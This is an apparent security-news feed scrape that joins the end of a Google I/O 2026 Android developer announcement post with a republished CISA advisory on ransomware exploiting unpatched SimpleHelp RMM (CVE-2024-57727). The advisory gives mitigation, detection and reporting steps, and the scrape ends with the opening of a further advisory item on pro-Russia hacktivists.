  <a href="http://d.android.com/bench">Android Bench</a> is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements. <h3><strong><span>4: Convert iOS apps to Android with the Migration Assistant in Android Studio</span></strong></h3>
  The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>. </div><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK7UKI_nzS7gOkDXYONAjCNbQ4eSqlgT8qqMT5D4qf0OjQUNtxj4Urpq-eTROMEDgrqLKGlwMm_lHA7ayG_BC1DkitQI1ZKsF5gYr-mPIxFUsz_8JPcVHFAtnHZoO2CrVjMEvJrqvBz8_WU1I0T1P2diDprR2B47PcA21oS3RLtbgrhmrpiWV-MAw9ks4/w640-h360/image9%20(1).gif"></div><div class="separator"><i>A sneak peek of the Migration Assistant converting an iOS app into a native Android app</i></div>

  <h2><strong><span>Building AI Into Your Apps</span></strong></h2>

  <h3><strong><span>5: Building Intelligent Apps with generative AI</span></strong></h3>
  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
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<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
</item>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
